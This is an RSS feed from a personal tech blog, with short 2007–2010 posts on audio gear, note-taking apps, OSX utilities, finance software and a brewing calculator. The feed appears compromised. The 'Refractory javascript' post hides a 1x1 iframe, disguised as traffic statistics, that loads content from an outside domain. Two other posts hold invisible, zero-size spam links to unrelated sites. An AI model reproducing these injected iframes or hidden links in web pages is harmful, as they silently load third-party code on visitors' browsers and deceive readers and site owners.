<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>polydipsia.com &#187; Tech</title>
	<atom:link href="http://polydipsia.com/category/tech/feed" rel="self" type="application/rss+xml" />
	<link>http://polydipsia.com</link>
	<description>i had too much to think last night...</description>
	<lastBuildDate>Sat, 13 Mar 2010 19:37:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>audiophileliquidator.net</title>
		<link>http://polydipsia.com/2010/01/31/audiophileliquidator-net</link>
		<comments>http://polydipsia.com/2010/01/31/audiophileliquidator-net#comments</comments>
		<pubDate>Sun, 31 Jan 2010 14:00:57 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=306</guid>
		<description><![CDATA[&#1086;&#1092;&#1080;&#1089; &#1086;&#1073;&#1079;&#1072;&#1074;&#1077;&#1078;&#1076;&#1072;&#1085;&#1077;I looked around the webs and I haven&#8217;t found any helpful reviews of these guys, so I&#8217;d like to throw in my 2 cents. In general, their prices are great. You need to keep in mind that you&#8217;re getting (essentially) grey market goods without the manufacturer&#8217;s warranty. If the term &#8220;grey market&#8221; scares you, [...]]]></description>
			<content:encoded><![CDATA[<p><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1086;&#1092;&#1080;&#1089; &#1086;&#1073;&#1079;&#1072;&#1074;&#1077;&#1078;&#1076;&#1072;&#1085;&#1077;</a></font>I looked around the webs and I haven&#8217;t found any helpful reviews of <a href="http://audiophileliquidator.net/" target="_blank">these guys</a>, so I&#8217;d like to throw in my 2 cents.</p>
<p>In general, their prices are great. You need to keep in mind that you&#8217;re getting (essentially) grey market goods without the manufacturer&#8217;s warranty. If the term &#8220;grey market&#8221; scares you, you should be aware that you&#8217;ve probably already got grey market goods in your house but do not realize it. Sam&#8217;s Club, Costco, Amazon all sell grey market items. I would also point out that if you&#8217;re going to buy speakers from them, a warranty is pretty damned worthless anyhow as speakers are just a large electromagnet and have no moving parts. Just inspect the items when you get them to make sure there isn&#8217;t any shipping damage.</p>
<p>So in the way of a review:</p>
<ul>
<li>Great prices</li>
<li>Shipping prices are absurd &#8211; $80 for UPS ground for two small pairs of speakers. A similar item on Amazon cost $35 for UPS ground shipping. They&#8217;re clearly underpricing their advertised price and inflating shipping charges which is dishonest.</li>
<li>Website shopping interface sucks. Placed an order 2 days ago, still haven&#8217;t received a confirmation of the order.</li>
<li>Prior orders with them, however, have gone smoothly. I ordered some Sonance 622&#8242;s for my living room and they arrived well packed and in great condition and they sound super.</li>
</ul>
<p>Overall OK, but watch out for the shipping charges. Might make sense to look around because the total price might make things less expensive elsewhere &#8211; for instance the pair of Sonance 623&#8242;s I ordered cost just as much as a pair of Definitive Technology in-ceiling speakers from <a href="http://onecall.com" target="_blank">onecall.com</a> or another reputable online dealer.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2010/01/31/audiophileliquidator-net/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Linux replacement for DevonThink</title>
		<link>http://polydipsia.com/2010/01/22/a-linux-replacement-for-devonthink</link>
		<comments>http://polydipsia.com/2010/01/22/a-linux-replacement-for-devonthink#comments</comments>
		<pubDate>Sat, 23 Jan 2010 04:44:12 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=290</guid>
		<description><![CDATA[No doubt, DevonThink is a wonderful piece of software. My impression, though, is that it creates a &#8220;walled garden&#8221; and all of your data and metadata is then stuck in there forever with no hope of ever getting it out. It would be nice if their web interface could run on any old LAMP server, [...]]]></description>
			<content:encoded><![CDATA[<p>No doubt, <a href="http://www.devon-technologies.com/">DevonThink</a> is a wonderful piece of software. My impression, though, is that it creates a &#8220;walled garden&#8221; and all of your data and metadata is then stuck in there forever with no hope of ever getting it out. It would be nice if their web interface could run on any old <a href="http://www.lamphowto.com/">LAMP</a> server, but it&#8217;s not that easy.</p>
<p>You can&#8217;t (really) virtualize OSX under Linux, sadly, as this would give an elegant solution if you&#8217;re trying to run a Linux server.</p>
<p>Some suggested alternatives are easily found by googling, but most fall short. A commonly recommended one is <a href="http://www.knowledgetree.com/">KnowledgeTree</a> as they have a FOSS version. Unfortunately, it&#8217;s not what you think and the install is cumbersome. I&#8217;d recommend you try out the online demo before getting into installing it yourself &#8211; you can sign up via their website.</p>
<p>So I am still looking. What I&#8217;d like is the following workflow type thingee:</p>
<ul>
<li>Docs scanned to network share in PDF</li>
<li>Periodically OCR&#8217;d</li>
<li>Manually sorted, if need be</li>
<li>Available on a local network in a searchable, retrievable form</li>
</ul>
<p>One potential option is <a href="http://www.zotero.org/" target="_blank">Zotero</a>, but it doesn&#8217;t do any kind of previewing and it doesn&#8217;t search contents of OCR&#8217;d PDFs. For organizing scientific articles it&#8217;s the SHIZ though. I regularly use it for that purpose. If you keep your collections sync&#8217;d across the webs with <a href="https://www.dropbox.com/">dropbox</a>, it can be really cool.</p>
<p><a href="http://icculus.org/referencer/index.html" target="_blank">Referencer</a> is pretty cool in that it offers a preview of PDFs, but it wants to make everything a scientific journal article.</p>
<p>Nautilus &#8211; the file manager &#8211; can do PDF thumbnails which is handy. There&#8217;s also a nice search feature in there. I&#8217;ve tried using <a href="http://gscan2pdf.sourceforge.net/" target="_blank">gscan2pdf</a>, but the OCR is laughable and it doesn&#8217;t create proper searchable PDFs. Did I try <a href="http://code.google.com/p/tesseract-ocr/" target="_blank">tesseract</a> in addition to GOCR? Yes &#8211; tesseract is only marginally better.</p>
<p>There&#8217;s just not a good Linux solution I&#8217;m afraid, though just using Nautilus may be your best bet.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2010/01/22/a-linux-replacement-for-devonthink/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I dumped Evernote</title>
		<link>http://polydipsia.com/2010/01/21/i-dumped-evernote</link>
		<comments>http://polydipsia.com/2010/01/21/i-dumped-evernote#comments</comments>
		<pubDate>Thu, 21 Jan 2010 19:51:04 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=284</guid>
		<description><![CDATA[In favor of Simplenote. I realize Evernote is supposed to be geek nirvana, but it&#8217;s awfully bloated and the iPhone app is crashy. If you want to do web clipping, you&#8217;re better off with Instapaper.]]></description>
			<content:encoded><![CDATA[<p>In favor of <a href="http://simplenoteapp.com">Simplenote</a>. I realize <a href="http://evernote.com">Evernote</a> is supposed to be geek nirvana, but it&#8217;s awfully bloated and the iPhone app is crashy. If you want to do web clipping, you&#8217;re better off with <a href="http://www.instapaper.com/">Instapaper</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2010/01/21/i-dumped-evernote/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In OSX, how do you resize a window that&#8217;s off the screen?</title>
		<link>http://polydipsia.com/2009/12/26/in-osx-how-do-you-resize-a-window-thats-off-the-screen</link>
		<comments>http://polydipsia.com/2009/12/26/in-osx-how-do-you-resize-a-window-thats-off-the-screen#comments</comments>
		<pubDate>Sat, 26 Dec 2009 23:06:54 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[OSX]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=239</guid>
		<description><![CDATA[Sounds impossible if you look around the intarwebs, but the answer is here. Works like a charm.]]></description>
			<content:encoded><![CDATA[<p>Sounds impossible if you look around the intarwebs, but the answer is <a href="http://www.mydellmini.com/forum/faqs-how-tos/2099-virtually-increase-your-dell-mini-screen-resolution.html">here</a>.</p>
<p>Works like a charm.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2009/12/26/in-osx-how-do-you-resize-a-window-thats-off-the-screen/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AppCleaner</title>
		<link>http://polydipsia.com/2009/12/26/appcleaner</link>
		<comments>http://polydipsia.com/2009/12/26/appcleaner#comments</comments>
		<pubDate>Sat, 26 Dec 2009 22:27:01 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[OSX]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=235</guid>
		<description><![CDATA[This is the best OSX uninstaller out there, hands down &#8211; and it&#8217;s free. AppCleaner.]]></description>
			<content:encoded><![CDATA[<p>This is the best OSX uninstaller out there, hands down &#8211; and it&#8217;s free.</p>
<p><a href="http://www.freemacsoft.net/AppCleaner/">AppCleaner</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2009/12/26/appcleaner/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mint.com to be acquired by Intuit</title>
		<link>http://polydipsia.com/2009/09/14/mint-com-to-be-acquired-by-intuit</link>
		<comments>http://polydipsia.com/2009/09/14/mint-com-to-be-acquired-by-intuit#comments</comments>
		<pubDate>Tue, 15 Sep 2009 00:29:34 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Humor]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=206</guid>
		<description><![CDATA[Great news from the people that haven&#8217;t been able to release an update to Quicken for Mac FOR FIVE YEARS! A whole new product to wank up. In a press release, Aaron Patzer, Founder and CEO of Mint.com said &#8220;we look forward to Intuit&#8217;s multinational reputation of screwing stuff up. They bring to the table [...]]]></description>
			<content:encoded><![CDATA[<p>Great news from the people that haven&#8217;t been able to release an update to Quicken for Mac FOR FIVE YEARS! A whole new product to wank up.</p>
<p>In a press release, Aaron Patzer, Founder and CEO of Mint.com said &#8220;we look forward to Intuit&#8217;s multinational reputation of screwing stuff up. They bring to the table dynamic opportunities to involve more stakeholders in the wanking up of our products and/or services&#8221;.</p>
<p>Super! Read all about it <a href="http://www.bloomberg.com/apps/news?pid=20601103&#038;sid=aRcE1RLc5Dkc">here</a>. Also, for giggles (and to understand what a bunch of wanks work at Intuit) read <a href="http://www.techcrunch.com/2009/02/19/quicken-online-cant-believe-mint-is-doing-so-well-sends-threatening-letter/">here</a>.</p>
<p>Seriously, Intuit needs to focus on their core business. The flaming pile of stink that is Quicken for Mac needs to be fixed. I switched to iBank because I gave up on their worthless crap.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2009/09/14/mint-com-to-be-acquired-by-intuit/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On OSX personal finance software</title>
		<link>http://polydipsia.com/2008/06/02/on-osx-personal-finance-software</link>
		<comments>http://polydipsia.com/2008/06/02/on-osx-personal-finance-software#comments</comments>
		<pubDate>Tue, 03 Jun 2008 02:00:12 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=136</guid>
		<description><![CDATA[Why can&#8217;t Intuit manage to squeeze out a new version of Quicken for OSX that looks, acts, and works like Quicken for Windows? Is it because they&#8217;re a crappy company that hasn&#8217;t focused on innovation for 10 years and now seems to base their business model around &#8220;subscription&#8221; model of software sales? Is it because [...]]]></description>
			<content:encoded><![CDATA[<p>Why can&#8217;t Intuit manage to squeeze out a new version of Quicken for OSX that looks, acts, and works like Quicken for Windows? Is it because they&#8217;re a crappy company that hasn&#8217;t focused on innovation for 10 years and now seems to base their business model around &#8220;subscription&#8221; model of software sales? Is it because they no longer employ any programmers in the US? I don&#8217;t have an answer, I just know that rumors of Quicken Mac 2008 have been floating around on the interwebs for almost a year now.</p>
<p>So I tried some of the other OSX personal finance software which is available. Rather than blow smoke up anyone&#8217;s ass with flowery language, I decided to test the software with a one-shot out of the box compatibility test. Face it: online banking is why most of us use this software, and downloading transactions is critical.</p>
<p>Here&#8217;s what I did: each software got tested with three online bank accounts: USAA credit card, Regions checking account, and American Express credit card. All three work perfectly out of the box in Quicken Windows.</p>
<p>Here are the results:</p>
<ul>
<li><a href="http://www.liquidledger.com/">LiquidLedger</a> &#8211; Nice UI, worked for AmEx, not the other two. <strong>FAIL</strong></li>
<li><a href="http://www.iggsoftware.com/ibank/">iBank</a> &#8211; Prettier UI, worked for AmEx, not the other two. <strong>FAIL FAIL</strong></li>
<li><a href="http://moneydance.com/">Moneydance</a> &#8211; Ugly UI, worked for AmEx (sorta), not the other two. <strong>FAILFAILFAIL</strong></li>
<li>Gnucash &#8211; not gonna go there. Reviews primarily negative</li>
<li><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">????????</a></font><a href="http://www.mint.com">mint.com</a> &#8211; shows promise, perhaps. At least all my accounts work</li>
</ul>
<p>In the end, they all suck. Perhaps Intuit will do something good for Mac users. As it stands, Quicken Mac has poor support for investment accounts, no invoicing, and poor compatibility with its Windows cousin. Almost doesn&#8217;t make sense to switch or port your data.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2008/06/02/on-osx-personal-finance-software/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Micro Fueler Is First Ethanol Kit for Brewing Backyard Biofuels on the Cheap &#8211; Popular Mechanics</title>
		<link>http://polydipsia.com/2008/05/17/micro-fueler-is-first-ethanol-kit-for-brewing-backyard-biofuels-on-the-cheap-popular-mechanics</link>
		<comments>http://polydipsia.com/2008/05/17/micro-fueler-is-first-ethanol-kit-for-brewing-backyard-biofuels-on-the-cheap-popular-mechanics#comments</comments>
		<pubDate>Sun, 18 May 2008 01:23:42 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/2008/05/17/micro-fueler-is-first-ethanol-kit-for-brewing-backyard-biofuels-on-the-cheap-popular-mechanics</guid>
		<description><![CDATA[I thought this was a great idea:Micro Fueler Is First Ethanol Kit for Brewing Backyard Biofuels on the Cheap &#8211; Popular Mechanics But consider the economics: the machine costs $10k alone. From the article, 10 gallons of sugar makes one gallon of ethanol. From my homebrewing experience, 10 gallons of sugar equals (roughly) 30-40 pounds [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://polydipsia.com/wp-content/uploads/2008/05/micro-fueler-430-150x150.jpg" alt="" title="micro-fueler-430" width="150" height="150" class="alignnone size-thumbnail wp-image-134" /></p>
<p>I thought this was a great idea:<br /><a href="http://www.popularmechanics.com/blogs/science_news/4262690.html">Micro Fueler Is First Ethanol Kit for Brewing Backyard Biofuels on the Cheap &#8211; Popular Mechanics</a></p>
<p>But consider the economics: the machine costs $10k alone. From the article, 10 gallons of sugar makes one gallon of ethanol. From my homebrewing experience, 10 gallons of sugar equals (roughly) 30-40 pounds of sugar. Sugar in bulk costs about $25/50 lbs. So that makes (approximately) $15-$20 per gallon not counting the ten large you put out for the machine.</p>
<p>I&#8217;ll pass, thanks.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2008/05/17/micro-fueler-is-first-ethanol-kit-for-brewing-backyard-biofuels-on-the-cheap-popular-mechanics/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to use a Lexmark X215 in OSX</title>
		<link>http://polydipsia.com/2008/04/27/how-to-use-a-lexmark-x215-in-osx</link>
		<comments>http://polydipsia.com/2008/04/27/how-to-use-a-lexmark-x215-in-osx#comments</comments>
		<pubDate>Sun, 27 Apr 2008 19:44:30 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[OSX]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/?p=123</guid>
		<description><![CDATA[It&#8217;s just a Xerox PE 16 or Samsung 4216 which is re-labeled. Here&#8217;s a link.]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s just a Xerox PE 16 or Samsung 4216 which is re-labeled. Here&#8217;s a <a href="http://www.macosxhints.com/article.php?story=20050912064001292&#038;query=configure">link</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2008/04/27/how-to-use-a-lexmark-x215-in-osx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Refractory javascript</title>
		<link>http://polydipsia.com/2007/11/22/inspired-javascript</link>
		<comments>http://polydipsia.com/2007/11/22/inspired-javascript#comments</comments>
		<pubDate>Fri, 23 Nov 2007 00:10:44 +0000</pubDate>
		<dc:creator>commander flatus</dc:creator>
				<category><![CDATA[Brewing]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://polydipsia.com/2007/11/23/inspired-javascript</guid>
		<description><![CDATA[I was inspired by this thread over at Brewboard and whipped up a spiffy javascript refractometer calculator that should work on mobile phones. Check it out here. Full URL is: http://www.polydipsia.com/calculators/ref_calc.html. See also: http://www.slobrewer.com/mobile/ I&#8217;m out of control. See also: http://www.polydipsia.com/calculators.]]></description>
			<content:encoded><![CDATA[<p>I was inspired by <a href="http://www.brewboard.com/index.php?showtopic=82984">this thread</a> over at <a href="http://www.brewboard.com">Brewboard</a><!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> and whipped up a spiffy javascript refractometer calculator that should work on mobile phones. Check it out <a href="http://www.polydipsia.com/calculators/ref_calc.html">here</a>.</p>
<p>Full URL is: <a href="http://www.polydipsia.com/calculators/ref_calc.html">http://www.polydipsia.com/calculators/ref_calc.html</a>.</p>
<p>See also: <a href="http://www.slobrewer.com/mobile/">http://www.slobrewer.com/mobile/</a></p>
<p>I&#8217;m out of control. See also: <a href="http://www.polydipsia.com/calculators/">http://www.polydipsia.com/calculators</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://polydipsia.com/2007/11/22/inspired-javascript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
